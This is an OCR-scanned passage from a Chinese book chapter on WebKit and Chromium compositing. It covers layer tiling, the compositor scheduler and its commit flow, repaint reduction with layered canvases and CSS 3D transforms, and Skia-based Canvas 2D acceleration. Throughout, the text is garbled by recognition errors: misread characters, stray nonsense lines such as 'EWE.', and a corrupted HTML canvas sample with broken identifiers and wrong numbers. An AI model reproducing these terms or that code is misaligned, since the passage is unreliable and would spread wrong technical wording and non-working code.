的 ，SolidColorLayer 类 可 以 表示 单一 颜色 的 背景 层 ， 而 TextureLayer 类 则 
表示 该 合成 层 直接 接收 一 个 纹理 ， 该 纹理 已 经 由 其 他 部 分 处 理 ， 不 需要 
合成 器 触发 任何 绘图 操作 。 在 Chromium 中 ， 一 些 插 件 是 能 够 使 用 硬件 
绘图 并 输出 纹理 结果 的 。 








图 8-17 中 ， 有 两 个 类 被 标记 为 灰色 ， 其 一 是 Layer 类 ， 它 是 所 有 类 的 
FER; 第 二 个 是 TiledLayer， 这 个 类 是 一 个 中 间 类 ， 它 被 ContentLayer 类 
和 ImageLayer 类 继承 ， 它 的 含义 是 一 个 层 的 后 端 存 储 被 分 割 成 所 睫 状 
(Tiles)， 由 多 个 小 后 端 存 储 共同 存储 而 成 。 图 8-18 摘 述 了 一 个 合成 层 的 
后 端 存 储 被 分 割 成 多 个 大 小 相同 的 瓦 上 请 状 的 小 存储 空间 ， 每 个 拟订 可 以 
理解 为 OpenGL 中 的 一 个 纹理 对 象 ， 合 成 层 的 结果 被 分 开 存 储 在 这 些 瓦 
FHP 
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图 8-18 合成 层 的 瓦 片 化 


什么 样 的 合成 层 会 被 瓦 片 化 呢 ? TiledLayer 的 两 个 子 类 告诉 了 我 
们 ， 其 一 是 ContentLayer， 它 表示 合成 层 使 用 Skia 画 布 将 内 容 绘 制 到 结 
果 中 ， 对 应 到 网 页 中 就 是 常见 的 HTML 元 素 ， 例 如 DOM 树 中 的 html、 
div 等 所 在 的 层 ， 在 Chromium 中 ， 它 们 使 用 Skia 图 形 库 的 SkCanvas 类 来 
绘图 。 其 二 是 图 片 元 素 ， 如 有 果 一 个 合成 层 仪 仪 包含 一 个 图 片 ， 那 么 该 图 
片 也 会 使 用 该 技术 。 





为 什么 使 用 瓦 片 化 的 后 端 存 储 呢 ? 上 自然 是 因为 一 些 限制 或 者 好 处 所 
以 才 采 用 该 技术 ， 概 括 起 来 有 以 下 几 点 : 其 一 ，DOM 树 中 的 html 元 素 所 











在 的 层 可 能 会 比较 大 ， 因 为 网 页 的 高 度 很 大 ， 如 果 只 是 使 用 一 个 后 问 存 
储 的 话 ， 那 么 需要 一 个 很 大 的 纹理 对 象 ， 但 是 实际 的 GPU 硬件 可 能 只 文 
持 非 常 有 限 的 纹理 大 小 ， 其 二 ， 在 一 个 比较 大 的 合成 层 中 ， 可 能 只 是 其 
中 一 部 分 发 生变 化 ， 根 据 之 前 的 介绍 ， 需 要 重新 绘制 整个 层 ， 这 样 必 然 
产生 额外 的 开销 ， 使 用 瓦 片 化 的 后 站 存储 ， 就 只 需要 重 绘 一 些 存 在 更 新 
的 瓦 片 ， 其 三 ， 当 层 发 生 滚动 的 时 候 ， 一 些 瓦 片 可 能 不 再 需要 ， 然 后 
WebKit 需 要 一 些 新 的 瓦 片 来 绘制 新 的 区 域 ， 这 些 大 小 相同 的 后 端 存储 很 
容易 重复 利用 ， 可 以 做 到 非常 简洁 漂亮 。 














在 线程 内 合成 模式 下 ，Chromium 是 不 需要 调度 器 的 ， 仅 仅 在 线程 
化 的 合成 模式 下 Chromium 才 会 使 用 ， 所 以 调度 占 古 在 合成 器 线程 中 ， 
因而 不 能 访问 主线 程 中 的 资源 。 调 度 器 需要 考 碟 整个 合成 句 系 统 的 状 
态 ， 它 需要 考虑 何 时 更 新 树 、 何 时 绘图 、 何 时 运行 动画 、 何 时 上 传 内 容 
到 纹理 对 象 等 。 








合成 器 中 的 调度 器 和 状态 机 如 图 8-19 所 示 。Scheduler 类 就 是 调度 器 
类 ， 任 何 合 成 的 相关 操作 都 需要 设置 到 该 调度 器 中 ， 例 如 ThreadProxy 
类 会 调用 SetrNeedsCommit 疯 数 来 触发 Commit 操 作 ， 访 操作 的 售 义 是 将 
Layer 树 的 属性 等 改变 同步 到 LayerImpl 树 。 任 务 的 发 起 者 只 是 告诉 调度 
器 希望 执行 该 任务 ， 通 过 接口 设置 标记 ，Scheduler 类 本 身 不 直接 处 理 这 
些 状 态 设 置 ， 而 是 将 它 转 给 SchedulerStateMachine 类 处 理 ， 该 状态 机 设 
置 相 应 的 状态 位 。 一 个 任务 一 般 不 会 被 立即 执行 ， 而 是 等 到 调度 器 调度 
到 该 任务 的 时 候 才 会 执行 。 


+SetNeedsBeginFrameOnImp!Thread() +nextAction() 
+ScheduledActionSendBeginFrameToMainThread() +SetNeedsCommit() 
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+ProcessScheduledActions() 
+SetNeadsCommit() 
+SetNeedsCommit() +SetNeedsRedraw() 
+SetNeedsCommitOnImplThread() +SetHasPendingTree() 


图 8-19 ”调度 器 类 和 状态 机 类 





当 调 用 Scheduler 类 的 ProcessScheduleActions 时 ， 调 度 器 会 通过 状态 
机 获取 当前 需要 执行 的 任务 ， 状 态 机 根据 之 前 设置 的 各 种 信息 来 决定 下 
面 的 任务 是 什么 。 一 旦 确定 了 任务 ， 调 度 器 通过 SchedulerClient 来 执行 
实际 的 任务 ，ThreadProxy 类 就 是 一 个 SchedulerClient 子 类 ， 它 会 桥接 到 
Layer 树 、LayerImpl 树 或 者 其 他 设施 。 


调度 器 Scheduler 的 基本 原则 是 一 切 请 求 都 是 设置 状态 机 中 的 状态 ， 
这 些 请 求 什 么 时 候 被 执行 由 调度 器 来 决定 。 调 度 任务 的 主要 函数 是 
ProcessScheduleActions， 它 的 工作 方式 如 图 8-20 所 示 。 原 理 不 是 很 复 
杂 ， 它 首先 调用 状态 机 的 NextAction 函 数 ， 由 状态 机 来 计算 和 决定 下 一 
个 要 执行 的 任务 。 前 面 描述 过 ， 在 此 之 前 ， 任 务 的 发 起 者 是 设置 这 些 状 
态 ， 它 表示 之 后 希望 执行 一 些 任务 ， 而 不 是 立即 要 求 执行 。 状 态 机 计算 
出 下 一 个 任务 ， 调 度 器 获得 任务 的 类 型 并 执行 该 任务 ， 然 后 再 接着 计算 
下 一 个 任务 ， 如 此 循环 ， 直 到 空间 为 止 。 





Scheduler: :ProcessScheduledActions 
SchedulerStateMachine:: UpdateState 
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SchedulerStateMachine::NextAction 


图 8-20 调度 器 调度 任务 


下 面 以 同步 Layer 树 到 LayerImpl 树 (commit) 为 例 说 明 任务 的 调度 
过 程 以 及 调度 器 在 这 一 过 程 中 的 作用 ， 图 8-21 描 述 了 “commit”*” 任 务 的 调 
EWE. 
















































































4.3: CommitComplete 


oT 名 
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图 8-21 “commit” 任 务 的 调度 过 程 


首先 ， 当 Layer 树 有 变动 的 时 候 ， 它 需要 调用 


ThreadProxy::SetNeedsCommit， 这 些 任务 是 在 演 染 线程 中 的 ， 随 后 它 会 
提交 一 个 请 求 到 “Compositor” 线 程 。 


其 次 ， 当 该 “Compositor” 线 程 处 理 到 该 请 求 的 时 候 ， 它 会 通过 调度 
器 的 SetNeedsCommit 函 数 设 置 状态 机 的 状态 。 


再 次 ， 调 度 器 的 SetNeedsCommit 会 调用 ProcessScheduleActions 函 
数 ， 它 检查 后 面 需要 执行 的 任务 。 


然后 ， 如 果 没有 其 他 任务 或 者 时 间 合 适 的 话 ， 状 态 机 决定 下 面 立 刻 
执行 该 任务 ， 它 调用 ThreadProxy 的 ScheduledActionCommit 函 数 ， 该 函 
数 实际 执行 “commit” 任 务 需 要 的 具体 流程 。 


最 后 在 ScheduledActionCommit 函 数 中 ， 它 会 调用 LayerTreeHostImpl 
和 LayerTreeHost 中 的 相应 函数 来 完成 同步 两 个 树 的 工作 。 同 步 结束 后 ， 


ry SE ER 


它 需 要 通知 渔 染 线 程 ， 因 为 事实 上 这 一 过 程 需要 阻止 该 线程 。 
8.2.43 ”合成 过 程 
在 了 解 完 合成 器 的 各 个 主要 部 分 之 后 ， 下 面 来 看 看 合成 工作 是 如 何 


完成 的 。 根 据 之 前 描述 的 过 程 ， 合 成 工作 主要 有 四 个 步 又， 这些 步骤 都 
征 由 调度 需 调 度 ， 需 要 各 个 类 参与 来 共同 完成 。 








1. 创建 输出 结果 的 目标 对 象 *Surface”， 也 就 是 合成 结果 的 存储 空间 。 

2. 开始 一 个 新 的 帧 〈Begin Frame) ， 包 括 计 算 深 动 和 缩放 大 小 、 动 画 
计算 、 重 新 计算 网 页 的 布局 、 绘 制 每 个 合成 层 等 。 

3. 将 Layer 树 中 包 售 的 这 些 变 动 同 步 到 LayerImpl 树 中 ， 也 就 是 图 8-21 
所 说 的 “commit” 任 务 的 调度 过 程 。 


4. 合成 LayerImpl 树 中 的 各 个 层 并 交换 前 后 帧 缓冲 区 ， 完 成 一 帧 的 绘 
制 和 显示 动作 。 





在 这 四 个 步骤 中 ， 步 骤 1 只 是 在 最 开始 的 时 候 调用 ， 而 且 只 是 一 次 
性 的 动作 。 当 后 面 网 页 出 现 动画 或 者 JavaScript 代 但 修改 CSS 样 式 和 
Sb O 时 丁目 


DOM 等 情况 的 时 候 ， 一 般 会 执行 后 面 三 个 步骤 ， 当 然 也 可 能 只 需要 步 
BRA 





图 8-22 是 合成 器 工作 的 典型 过 程 ， 结 合 上 面 描述 的 四 个 步骤 ， 笔 者 
特地 将 它们 作 了 一 一 对 应 ， 图 中 已 经 做 下 了 标记 ， 下 面 依次 来 分 析 这 四 


dk 
个 步骤 。 
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图 8-22 合成 器 的 工作 过 程 


在 步骤 一 中 , “Compositor” 线 程 首 先 创 建 合成 器 需要 的 输出 结果 的 
后 端 存储 ， 在 调度 韦 执 行 该 任务 时 ， 该 线程 会 将 任务 交 给 主线 程 来 完 
成 。 主 线程 会 创建 后 端 存储 并 把 它 传 回 给 “Compositor” 线 程 。 


在 步骤 二 中 , “Compositor” 线程 告诉 主线 程 需要 开始 绘制 新 的 一 
帧 ， 同 样 是 通过 线程 间 通 信和 来 传递 任务 。 主 线程 接收 到 该 任务 后 ， 需 要 


做 的 事情 非常 多 ， 读 者 可 以 看 到 从 4.1 到 4.6 步 又 之 间 做 的 这 些 操 作 ， 实 
际 上 还 省 略 了 一 些 次 要 操作 。 这 里 面 主要 是 执行 动画 操作 、 重 新 计算 布 
局 ， 以 及 绘制 需要 更 新 的 合成 层 等 。 在 这 之 后 主线 程 会 等 待 第 三 个 步 
又 ， 当 第 三 个 步骤 完成 后 ， 它 通知 主线 程 的 LayerHost 等 类 ， 这 是 因为 


步骤 三 需要 阻塞 主线 程 ， 需 要 同步 Layer 树 。 








在 步 又 三 中 ， 基 本 的 过 程 如 图 8-21 所 示 ， 这 里 不 再 袭 述 。 


在 步骤 四 中 ， 主 要 就 是 合成 工作 了 。 经 过 第 三 步 之 

后 ，“compositor” 线 程 实际 上 已 经 不 再 需要 主线 程 的 参与 束 能 够 完成 合 
成 工作 了 ， 这 时 该 线程 有 了 合成 这 些 层 需要 的 一 切 资源 。 图 中 调用 过 程 
5.1.1 到 5.1.6 这 些 子 步骤 就 是 合成 各 个 层 并 交换 前 后 缓冲 区 ， 读 者 会 看 到 
这 些 并 不 需要 主线 程 的 参与 。 这 样 就 能 够 解释 演 染 线程 在 做 其 他 事情 的 
时 候 ， 网 页 滚动 等 操作 并 不 会 受到 泻 染 线程 的 影响 ， 因 为 这 时 候 合成 器 
的 工作 线程 仍然 能 够 正常 进行 ， 合 成 器 线程 继续 合成 当前 的 各 个 合成 层 
生成 网 页 结果 ， 虽 然 此 时 可 能 有 些 内 容 没有 更 新 ， 但 用 户 根 本 感觉 不 到 
网 页 被 阻塞 等 问题 ， 浏 览 网 页 的 用 户 体 验 更 好 。 


























Chromium 的 最 新 设计 为 了 合成 网 页 〈 网 页 中 也 可 以 包含 iframe 等 内 
RAR) 和 浏览 器 的 用 户 界 面 〈 典 型 的 是 在 Android 系 统 上 ， 但 是 在 蝎 
面 系 统 上 ， 用 户 界 面 通常 不 需要 同 网 页 内 容 合成 ) 可 能 需要 多 个 合成 
器 。 每 个 网 页 可 能 需要 一 个 合成 器 ， 网 页 中 的 iframe 也 需要 一 个 合成 
上 器， 整个 网 页 同 浏览 器 的 合成 也 需要 一 个 合成 器 ， 这 些 合成 器 构成 一 个 
层次 化 的 合成 器 结构 ， 如 图 8-23 所 示 。 图 中 的 根 合 成 器 是 浏览 器 最 高 层 
的 合成 器 ， 访 合成 器 负责 网 页 和 浏览 器 用 户 界 面 的 合成 ， 它 有 一 个 子女 
就 是 “合成 器 2”?， 根 合成 器 会 将 “合成 器 2” 的 结果 同 用 户 界 面 合成 起 
来 。“ 合 成 器 2” 就 是 网 页 的 合成 器 ， 而 它 也 包含 一 个 合成 frame 内 容 
的 “合成 器 3” 子 合成 费 。 这 里 ,，“ 合 成 器 2”? 和 “合成 器 3” 按 理 是 在 Renderer 



































进程 中 进行 的 ， 因 为 它们 是 网 页 相关 的 合成 ， 而 根 合 成 器 是 在 Browser 
进程 中 的 ， 这 样 会 增加 内 存 带 宽 的 使 用 。 目 前 Chromium 的 设计 使 

用 “mailbox” 机 制 将 Renderer 进 程 中 的 合成 器 结果 同步 到 Browser 进 程 ， 
根 合 成 器 可 以 使 用 这 些 结果 。 





图 8-23 ”层次 化 合成 器 


8.2.5 SR: 减少 重 绘 


网 页 加 载 后 ， 每 当 重 新 绘制 新 的 一 帧 的 时 候 ， 一 般 需 要 三 个 阶段 ， 
也 就 是 前 面 说 的 计算 布局 、 绘 图 和 合成 三 个 阶段 。 如 果 想 减少 每 一 帧 的 
时 间 ， 提 高 性 能 多 ， 当 然 要 着 重 减 少 这 三 个 阶段 的 时 间 。 


这 三 个 阶段 中 ， 计 算 布 局 和 绘图 比较 费时 间 ， 而 合成 需要 的 时 间 相 
对 要 少 一 些 。 而 且 ， 当 布局 的 变化 越 多 ，WebKit 通 常 需要 越 多 的 绘图 时 
间 。 例 如 当 使 用 JavaScript 的 计时 需 来 控制 动画 的 时 候 ，WebKit 可 能 需 


要 修改 布局 和 比较 多 的 绘图 操作 ， 这 会 明显 增加 WebKit 绘 制 每 帧 的 时 
间 ， 是 否 有 什么 办 法 来 避免 这 一 情况 呢 ? 办 法 有 很 多 ， 这 里 介绍 WebKit 
两 种 典型 的 方法 ， 第 一 种 是 使 用 合适 的 网 页 分 层 技术 以 减少 需要 重新 计 
算 的 布局 和 绘图 ， 第 二 种 是 使 用 CSS 3D 变 形 和 动画 技术 。 


自 先 是 网 页 的 分 层 问 题 。 假 设 读者 需要 设计 一 于 游戏， 例如 癌 关 之 
类 的 HIML5 网 页 游戏 。 游 戏 中 的 画面 可 能 有 背景 ， 背 景 之 前 是 各 种 各 
样 的 障碍 物 ， 人 物 就 是 要 闻 过 各 种 各 样 的 关卡 。 假 设 Web 开 发 者 名望 使 
用 canvas 2D 技 术 来 实现 它 ， 并 且 假 设 开 发 者 使 用 一 个 canvas 元 素 ， 当 人 
物 在 前 面 运 动 的 时 候 ， 根 据 canvas 2D 的 特性 ，WebKit 需 要 将 该 元 素 内 
部 的 内 容 都 重新 绘制 一 过 以 显示 人 物 的 一 个 工作 ， 这 样 的 做 法 导致 
WebKit 开 销 太 大 ， 因 为 WebKit 需 要 重新 绘制 整个 canvas 元 素 ， 然 后 再 使 
用 合成 器 。 一 个 比较 好 的 做 法 是 ， 使 用 多 个 canvas 元 素 ， 将 它们 按照 前 
后 顺序 登 放 在 一 起 。 前 面 canvas 元 素 的 背景 为 透明 ， 这 样 后 面 的 元 素 能 
够 显示 出 来 。 每 一 个 canvas 元 素 都 是 一 个 合成 层 ， 每 一 帧 的 变化 都 只 是 
一 个 或 者 部 分 合成 屋 ， 而 不 是 所 有 的 canvas 元 素 。 











以 前 面 的 游戏 继续 说 明 ，Web 开 发 者 可 以 使 用 一 个 canvas 元 素来 绘 
制 游戏 的 背景 ， 用 另外 第 二 个 canvas 元 素来 绘制 障碍 物 ， 用 第 三 个 
canvas 元 素来 绘制 炸弹 、 金 钱 等 ， 使 用 第 四 个 canvas 元 素来 绘制 人 物 。 
这 样 ， 当 人 物 不 动 的 时 候 ， 如 果 炸 弹 和 金钱 在 变化 ，WebKit 仅 需要 重新 
绘制 第 三 个 元 素 。 当 人 物 走 动 的 时 候 ，WebKit 只 需要 重新 绘制 第 四 个 元 
素 。 与 此 同时 ， 第 一 个 和 第 二 个 元 素 则 仅 在 很 少 的 情况 下 会 被 WebKit 重 
新 绘制 ， 这 样 能 够 有 效 地 减少 开销 ， 图 8-24 描 述 了 这 一 概念 。 











4: 人 物 


图 8-24 使 用 多 个 canvas 元 素 分 层 示意 图 


当然 这 只 是 一 个 基本 的 思路 ， 也 就 是 说 ，Web 开 发 者 实际 上 可 以 将 
这 一 思想 应 用 在 很 多 其 他 的 场景 。 详 细 的 情况 请 读者 参阅 层次 化 canvas 
泻 染 优化 技术 : http://www.ibm.com/developerworks/library/wa- 
canvashtml5layering/index.html， 该 文章 很 好 地 描述 了 这 一 思想 。 现 有 的 
一 些 设 计 同 样 可 以 将 这 些 思想 应 用 在 同一 个 canvas 元 素 内 部 以 获得 较 好 
的 性 能 ， 这 里 面 可 以 挖掘 的 地 方 还 很 多 。 








其 次 是 使 用 CSS ”3D 变 形 技术 ， 它 能 够 让 浏览 器 仅仅 使 用 合成 器 来 
合成 所 有 的 层 就 可 以 达到 动画 效果 ， 而 不 是 通过 重新 设置 其 他 CSS 属 性 
并 触发 计算 布局 、 重 新 绘制 图 形 、 重 新 合成 所 有 层 这 一 非常 复杂 的 过 
程 。 实 际 上 ， 开 发 者 如 果 需 要 网 页 中 有 一 些 动 国 或 者 特殊 效果 ， 可 以 给 
这 些 元 际 设置 3D 变 形 属性 ， 然 后 通过 CSS3 引 入 的 动画 能 力 ， 网 页 就 可 
以 达到 很 多 匪夷所思 的 效果 。 更 重要 的 是 ，WebKit 不 需要 大 量 的 布局 计 
算 ， 不 需要 重新 绘制 元 素 ， 只 珊 要 修改 合成 时 候 的 属性 即 可 。 当 合成 需 
再 要 合成 的 时 候 ， 每 个 合成 层 都 可 以 设置 目 己 的 3D 变 形 属性 ， 这 些 属 
性 仅仅 改变 合成 层 的 变换 参数 ， 而 不 需要 布局 计算 和 绘图 操作 ， 可 以 极 
大 地 节省 时 间 。 图 8-25 显 示 的 是 famo.us 网 站 展示 的 效果 和 使 用 Chrome 


























的 开发 者 工具 收集 的 性 能 分 析 结 果 数据 ， 根 据 前 面 的 描述 来 解释 一 下 这 
一 结果 。 
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图 8-25 famo. us 网 站 展示 的 效果 和 性 能 分 析 结 











该 网 站 实际 上 显示 的 是 多 个 div” 元素， 每 个 元 素 就 是 元 素 周期 表 中 
的 一 个 化 学 元 素 ， 每 个 元 素 都 设置 了 3D 的 效果 ， 它 们 有 各 式 各 样 的 动 
画 效 果 ， 非 常 吸 引 人 。 更 奇特 的 是 ， 该 网 页 能 够 在 手机 和 平板 等 性 能 较 
弱 的 设备 上 达到 很 好 的 性 能 ， 为 什么 呢 ? 








在 这 里 ， 笔 者 通过 Chrome 的 开发 者 工具 为 读者 解 开 谜团 。 该 工具 
能 为 开发 者 分 析出 Chrome 浏 览 器 为 计算 每 一 帧 所 花费 的 时 间 和 这 些 时 
间 的 分 布 情况 。 在 计算 每 一 帧 的 时 候 JavaScript 代 码 首 先 设 置 元 素 的 3D 
属性 ， 然 后 设置 样式 信息 ， 但 是 Chrome 浏 览 器 不 需要 重新 布局 ， 也 不 
需要 重新 绘图 ， 只 是 在 随后 使 用 合成 功能 ， 读 者 发 现 合成 阶段 所 花费 的 
时 间 非 常 少 ， 几 乎 可 以 忽略 不 计 ， 这 使 得 计算 图 中 每 一 帧 都 相对 比较 省 














时 间 ， 因 为 每 一 帧 的 生成 没有 了 费时 的 布局 计算 和 绘图 操作 。 











这 一 网 页 设计 给 大 家 带 来 的 局 示 是 ， 尺 量 在 每 一 帧 中 减少 布局 和 绘 
图 的 时 间 ， 它 们 会 极 大 地 降低 生成 每 一 帧 的 性 能 ， 当 然 很 多 情况 下 布局 
计算 和 绘图 操作 是 不 可 避免 的 ， 所 以 开发 者 需要 合理 地 设计 网 页 ， 和 希望 
这 里 的 一 些 例 子 能 够 给 大 家 带 去 更 多 的 思考 。 





8.3 ”其 他 硬件 加 速 模 块 
8.3.1 ”2D 图 形 的 人 硬件 加 速 机 制 


其 实 网 页 中 有 很 多 绘图 操作 是 针对 2D 图 形 的 ， 这 些 操作 包括 通常 
的 网 页 绘制 ， 例 如 绘制 边框 、 文 字 、 图 片 、 填 充 等 ， 它 们 都 是 典型 的 
2D 绘 图 操作 。 在 HIML5 中 ， 规 范 又 引入 了 2D 绘 图 的 画布 功能 ， 它 的 作 
用 是 提供 2D 绘 图 的 JavaScript 接 口 ， 所 以 JavaScript 代 人 码 可 以 很 容易 地 调 
用 该 接口 来 绘制 任意 的 2D 图 形 。2D 绘 图 本 身 是 使 用 2D 的 图 形 上 下 文 ， 
而 且 一 般 使 用 软件 方式 来 绘制 它们 ， 也 就 是 光栅 化 〈Rasterize) 的 方 
法 。 但 是 ， 其 实 这 些 2D 绘 图 操作 也 可 以 使 用 GPU 也 就 是 3D 绘 图 来 完 
成 ， 这 里 把 使 用 GPU 来 绘制 2D 图 形 的 方法 称 为 2D 图 形 的 硬件 加 速 机 
制 |。 








如 上 面 所 述 ， 目 前 2D 图 形 的 硬件 加 速 有 两 种 应 用 场景 ， 第 一 种 就 
是 网 页 基本 元 系 的 绘制 ， 针 对 的 层次 类 型 其 实在 前 面 描述 过 ， 也 就 是 
ContentLayer， 读 者 应 该 记得 它 的 后 端 是 一 个 2D 的 画布 对 象 ， 第 二 种 就 
是 HTML5 的 新 元 素 canvas， 用 来 绘制 2D 图 形 。 








8.3.1.1 2D 图 形 上 下 文 


第 7 章 中 介绍 了 了 WebKit 中 的 2D 图 形 上 上 下文， 该 上 下 文 在 WebKit 的 
Chromium 移 植 中 需要 使 用 Skia 图 形 库 来 完成 2D 图 形 操 作 ， 图 8-26 描 述 了 
WebKit 的 Chromium 移 植 中 2D 图 形 上 下 文 的 实现 类 。 
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软件 绘图 GPU 绘图 


图 8-26 WebKit 的 Chromium 移 植 使 用 Skia 来 绘制 2D 图 形 


在 上 图 中 ， 对 于 WebKit 需 要 使 用 GraphicsContext 的 地 方 ， 
Chromium 会 创建 一 个 Skia 图 形 库 中 提供 的 SkCanvas 对 象 来 处 理 WebKit 
的 2D 图 形 操作 请 求 。 至 于 这 个 SkCanvas 对 象 是 使 用 软件 绘图 还 是 GPU 
绘图 ， 取 决 于 对 SkCanvas 对 象 的 设置 。SkCanvas 类 表示 的 是 一 个 画布 ， 
2D 的 图 形 操 作 都 是 在 这 个 画布 上 人 处理， 绘制 结果 也 是 保存 在 SkCanvas 
对 象 中 。 如 果 调 用 者 需要 使 用 软件 方式 来 绘图 ， 如 图 中 左 半 部 分 所 示 ， 
那么 调用 者 需要 创建 一 个 基本 的 SkDevice 对 象 ， 该 对 象 使 用 光栅 扫描 的 
方法 来 一 一 计算 绘制 的 像素 结果 ， 并 把 结果 存 入 SkBitmap 对 象 中 。 
SkBitmap 对 象 使 用 一 块 CPU 内 存 ， 该 内 存 中 保存 的 是 一 个 个 像素 值 ， 典 
型 的 例如 RGBA 格 式 。 








如 果 调 用 者 需要 使 用 GPU 人 硬件 来 进行 绘 网 ， 那 么 在 创建 SkCanvas 对 
象 的 时 候 ， 通 过 传 入 SkSurface_Gpu 对 象 即 可 。 当 然 创 建 SkSurface_Gpnu 
对 象 需要 很 多 其 他 的 对 象 ， 最 重要 的 是 SkGpuDevice 对 象 ， 它 是 
SkDevice 的 一 个 基 类 ， 同 原先 软件 方式 不 同 的 是 ， 它 是 将 2D 图 形 操 作 转 
变 成 对 GL 的 操作 ， 使 用 GrContext 的 3D 图 形 上 下 文 来 绘制 ， 并 将 结果 存 
储 在 GrRenderTarget， 该 存储 目标 是 GPU 的 内 存 缓冲 区 。 








从 上 面 的 讨论 可 以 看 出 ，WebKit 调 用 GraphicsContext 对 象 的 时 候 ， 





WebKit 根 本 不 知道 下 层 实 际 使 用 的 是 软件 还 是 GPU 来 绘制 2D 图 形 ， 这 
一 切 都 是 由 Skia 图 形 库 来 完成 的 ， 当 需要 启动 硬件 加 速 的 时 候 ， 
Chromium 只 需要 为 SkCanvas 对 象 设置 相应 的 对 象 即 可 。 


8.3.1.2 Canvas 2D 


“canvas” 是 HTML5 中 新 加 入 的 元 素 ， 在 最 开始 的 时 候 它 只 是 一 个 2D 
画布 对 象 ， 网 页 开发 者 可 以 使 用 规范 定义 的 JavaScript 接 口 在 画布 上 绘制 
任意 的 2D 网 形 ， 这 样 的 技术 我 们 称 之 为 Canvas 2D。 不 过 ，Khronous 组 
织 提 出 可 以 在 该 元 素 上 使 用 JavaScript 接 口 绘制 3D 图 形 ， 这 样 的 技术 我 
们 称 之 为 WebGL 或 者 Canvas3D， 这 个 稍 后 会 做 介绍 。 一 个 “canvas” 元 素 
的 对 象 只 能 绘制 2D 图 形 和 3D 图 形 中 的 一 种 ， 不 能 够 同时 绘制 这 两 者 。 


“canvas” 元 素 的 “getContext" 方 法 包含 一 个 参数 ， 访 参数 用 来 指定 创 
建 上 下 文 对 象 的 类 型 。 对 于 2D 的 图 形 操作 ， 通 过 传递 参数 值 “24"， 浏 览 
器 会 返回 一 个 2D 图 形 上 下 文 ， 称 为 CanvasRenderingContext2D， 它 提供 
了 用 于 绘制 2D 图 形 的 各 种 应 用 程序 编程 接口 ， 包 括 基本 图 形 绘制 (如 
2. FEB. AIO 、 文 字 绘 制 、 图 形变 换 、 图 片 绘 制 及 合成 等 。 





前 面 说 到 ，CanvasRenderingContext2D 是 2D 图 形 绘制 的 上 下 文 对 
象 ， 其 提供 了 用 于 绘制 2d 图 形 的 API，W3C 工 作 组 起 草 了 标准 的 草案 。 
该 对 象 由 JavaScript 代 码 调用 “getContext0> 函 数 创建 ，Web 开 发 者 便 可 以 
调用 它 的 编程 接口 在 画布 上 绘制 2D 图 形 了 。 这 些 编程 接口 主要 的 作用 
Where En Hp EZ Hla. R FB. IB. AS, Bele, eect T 
这 些 绘 制 的 样式 和 合成 效果 等 。 示 例 代 码 8-3 给 出 了 使 用 Canvas2D 技 术 
的 基本 方法 。 





Canvas ”2D 可 以 使 用 软件 方法 来 绘图 ， 也 可 以 使 用 GPU 来 加 速 绘 
图 ， 根 据 前 面 介绍 的 2D 图 形 上 下 文 和 Chromium 中 使 用 Skia 图 形 库 来 给 
图 的 方法 ， 网 页 的 Canvas 2D 技 术 同 样 需要 借助 Skia 这 一 扩 术 。 图 8-27 描 
述 了 Canvas 2D 使 用 GPU 来 绘图 所 涉及 的 一 些 主 要 类 。 对 于 软件 绘图 来 
说 ，Chromium 的 工作 过 程 实 际 上 更 简单 一 些 ， 图 中 ImageBuffer 只 是 使 
用 SkCanvas、SkDevice 和 SkBitmap 等 类 ， 这 一 过 程 其实 不 如 硬件 加 速 绘 
图 复杂 ， 上 所 以 这 里 不 再 更 述 。 





示例 代码 8-3 ”使 用 Canvas2D 技 术 的 网 页 代码 


<tDOCTYPE HTHL> 


<html> 
<body> 
<canvas id="myCanvas" width="86" height=""166"> 
your browser does not support the canvas tag 
</cCanvas> 
<script type="text/javascript"> 
Yar Canvas=document.getElementByld¢ mucanuas ); 
var Ctx=canvas.getContext('2d"}; 
ctx.fillStyle="#FF6686' ; 
ctx .fillRect(6,6,86,166); 
</script> 
</body> 
</html> 
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图 8-27 使 用 GPU 硬件 绘图 的 Canvas2D 技 术 


HTML5 的 Canvas2D 机 制 使 用 了 一 个 GraphicsContext 对 象 ， 也 就 是 

2D 图 形 上 和 下文， 同时 还 包括 一 个 ImageBuffer 对 象 来 表示 canvas 绘 制 的 结 
果 ， 这 里 软件 绘图 和 GPU 人 硬件 加 速 绘 图 没有 什么 大 的 不 同 。 回 到 GPU 硬 
件 绘图 上 来 说 ， 如 果 使 用 硬件 加 速 机 制 的 话 ，Chromium 会 创建 一 个 
SkDeferredCanvas 对 象 ， 访 对象 的 特别 之 处 在 于 它 采 用 延迟 机 制 来 绘制 
2D 图 形 ， 随 后 介绍 。 该 对 象 当然 需要 SkGpuDevice 来 将 2D 绘 图 操作 转换 
为 使 用 3D 图 形 上 下 文 来 绘制 ， 这 一 过 程 跟 上 一 小 节 介绍 的 非常 类 似 。 
笔者 需要 强调 的 是 图 中 的 Canvas2DLayerBridge 类 ， 它 是 一 个 桥接 类 ， 
因为 实际 上 2D 图 形 是 使 用 3D 图 形 接口 绘制 的 ， 所 以 Chromium 需 要 3D 图 
形 上 下 文 和 一 些 准 备 工作 ， 这 些 都 是 在 该 类 中 完成 。 





WebGraphicsContext3DCommandBufferImpl 类 之 后 的 部 分 跟 图 8-12 
介绍 的 过 程 完全 一 样 ， 在 这 种 情况 下 ， 上 层 是 2D 绘 图 还 是 3D 绘 图 已 经 
CALA BA L 


下 面 用 三 个 阶段 来 描述 Chromium 是 如 何 使 用 硬件 加 速 绘 图 来 支持 
HTML5 的 Canvas2D 功 能 的 ， 以 示例 代码 8-3 作 为 例子 加 以 说 明 。 首 先 看 
第 一 阶段 ， 


第 一 阶段 这 里 称 为 初始 化 阶段 ， 也 就 是 示例 代码 8-3 中 调 
用 “fillStyle” 的 阶段 ， 因 为 该 函数 会 触发 图 8-28 中 这 些 对 象 的 创建 。 基 本 
上 ， 这 一 阶段 的 代码 需要 WebKit 和 Chromium 创 建 图 8-28 所 涉及 类 的 对 
象 ， 读 者 可 以 理解 一 下 它们 的 顺序 。 其 中 GraphicsContext 类 主要 是 被 
CanvasRendering-Context2D 类 所 使 用 ， 而 GraphicsContext3D 类 是 被 
Canvas2DLayerBridge 类 使 用 。 这 里 面 还 需要 强调 的 一 点 就 是 合成 器 中 
的 CC::Layer( 还 包括 WebLayer， 限 于 图 片 太 大 ， 没 有 夯 出 ) ， 它 是 由 





Canvas2DLayerBridge 类 创建 ， 这 上 听 起 来 有 点 奇怪 ， 因 为 CC::Layer 类 和 
GraphicsLayer 类 是 一 一 对 应 的 。 不 过 没关系 ， 因 为 在 这 里 , “canvas” 元 
